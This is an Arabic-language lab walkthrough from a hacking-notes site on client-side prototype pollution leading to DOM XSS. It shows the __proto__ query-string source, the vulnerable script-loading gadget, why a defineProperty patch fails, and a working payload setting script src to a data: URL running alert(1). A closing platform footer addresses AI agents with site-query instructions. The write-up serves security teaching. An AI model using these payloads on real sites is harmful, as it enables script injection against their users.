> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Prototype Pollution من جانب العميل عبر واجهات برمجة تطبيقات المتصفح

### تلوث النماذج الأولية من جهة العميل باستخدام واجهات برمجة تطبيقات المتصفح

#### سياق المختبر

هذا المختبر عرضة لـ **XSS المعتمدة على DOM** يتم تشغيله عبر **تلوث النماذج الأولية من جهة العميل**. / حدّد المطوّرون أداة محتملة وحاولوا إصلاحها، لكن من الممكن أن **تجاوز الرقعة**.

الهدف:

* ابحث عن **المصدر** لإضافة خصائص عشوائية إلى `Object.prototype`
* حدّد **خاصية أداة الاستغلال** ما يؤدي إلى تنفيذ JavaScript
* اجمع بين الاثنين لتشغيل `alert()`

### 1) المصدر: `Object.prototype` التلوث عبر عنوان URL

#### الحقن من سلسلة الاستعلام

يتم اختبار التلوث عبر عنوان URL:

```javascript
/?__proto__[foo]=bar
```

#### التحكم في وحدة التحكم

في وحدة تحكم المتصفح:

```javascript
console.log({}.foo)
```

النتيجة: `bar`/ هذا يؤكد أنه يمكن حقن خاصية في النموذج الأولي العام.

<figure><img src="/files/8f619932678e3f2102429ab76ade37d69b951a64" alt=""><figcaption></figcaption></figure>

### 2) فهم التأثير: تغيير سلوك الكائنات

مثال على تعديل النموذج الأولي عبر كائن:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/d05d77aa338847822d365069c600fcc2d2707088" alt=""><figcaption></figcaption></figure>

ثم:

```bash
console.log({}.country)
```

ترث جميع الكائنات الآن `country`، مما يوضح الأثر العام للتلوث.

<figure><img src="/files/ca6520cc8f3d60b22ee8a62496880ea145521b09" alt=""><figcaption></figcaption></figure>

### 3) الأداة: تحميل ديناميكي لبرنامج نصي عبر خاصية موروثة

الملف المهم هو:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("فشل في تخزين الاستعلام");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### السلوك الرئيسي للبرنامج النصي (ملخص)

* ينشئ كائنًا `config` يحتوي على:
* `params` (من عنوان URL)
* `transport_url` مهيأ إلى `false`
* يقوم بتثبيت `config.transport_url` بـ `Object.defineProperty(... configurable:false, writable:false)`
* ثم:
* إذا `config.transport_url` إذا كانت قيمته truthy → فإنه ينشئ `<script>` ويجعل `script.src = config.transport_url`

#### لماذا يعمل رغم الرقعة؟

مثل `transport_url` \*\*ليست معرّفة فعليًا بقيمة قابلة للاستخدام\*\*، يمكن للشفرة أن **تجد قيمة موروثة من النموذج الأولي** (ملوّث).

لذا إذا حقنّا الخاصية الصحيحة في `Object.prototype`، فسيتم استخدامها كمصدر للبرنامج النصي.

### 4) الاستغلال: فرض `script.src` عبر النموذج الأولي

#### الخطوة 1: إثبات الأداة

من خلال حقن:

```bash
/?__proto__[value]=bar
```

ينشئ المتصفح:

```javascript
<script src="bar"></script>
```

<figure><img src="/files/ac637f93c4cf9f9afe53fbbdb90dc0f9689490c2" alt=""><figcaption></figcaption></figure>

`src` يمكن التحكم فيه.

#### الخطوة 2: تشغيل JavaScript عبر `data:` URL

الحمولة النهائية:

```javascript
/?__proto__[value]=data:,alert(1)
```

النتيجة الملحوظة:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

يفسّر المتصفح `data:,alert(1)` ويُنفّذ `alert(1)`: **ثغرة XSS في DOM بنجاح**.

<figure><img src="/files/608e8ca35a040e93010eca8200c278445959b34b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
